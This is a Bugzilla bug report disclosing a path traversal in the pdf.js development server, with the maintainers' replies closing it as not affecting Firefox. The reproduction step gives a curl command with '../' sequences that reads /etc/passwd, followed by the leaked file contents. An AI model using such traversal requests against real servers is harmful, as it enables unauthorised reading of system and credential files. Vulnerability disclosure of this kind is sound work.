1505558 - Path traversal in pdf.js

Status: RESOLVED INVALID

(Firefox :: PDF Viewer, defect)

Description

[Dhiraj Mishra]

Attachment: PoC.png

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0

Steps to reproduce:

I am not sure, whether this is the right place to submit issue for this asset. (PDF.js), however its a security issue, so submitting over here, kindly advise if this bug needs to be submit anywhere else.

## Summary

A path traversal issue was observed in pdf.js (https://github.com/mozilla/pdf.js),  It could allow attacker to read content of arbitrary file on remote server, attached PoC for your reference.


Actual results:

## Steps to reproduce.

1. Install PDF.js mention here (https://github.com/mozilla/pdf.js)
2. Once the server is running on 8888, run below command to verify the issue.
3. curl --path-as-is -v http://localhost:8888/../../../../../../etc/passwd

input@zero:~/Desktop/pdf.js$ curl --path-as-is -v http://localhost:8888/../../../../../../etc/passwd
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8888 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: localhost:8888
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Type: application/octet-stream
< Content-Length: 2699
< Date: Wed, 07 Nov 2018 20:30:11 GMT
< Connection: keep-alive
< 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Comment 1

[Brendan Dahl [:bdahl]]

The server with pdf.js is intended to be a development server and should not be exposed to public networks. I suppose we could update the docs to state that.

Comment 2

[Dhiraj Mishra]

Thank you Gijs, and Brendan for taking a look into this, however i am still not clear with the above comment, so do we have any plan for a fix of this issue or we are letting it go for this time ? please suggest.

Comment 3

[Daniel Veditz [:dveditz]]

Does not qualify for a bounty since it doesn't affect Firefox.

Brendan: please answer comment 2.

Comment 4

[Brendan Dahl [:bdahl]]

I'll open an issue[1] upstream in the PDF.js repo to update the documentation and to limit what the development server can read.

[1] https://github.com/mozilla/pdf.js/issues/10249

Comment 5

[:Gijs (he/him)]

Going to close this given it doesn't affect Firefox.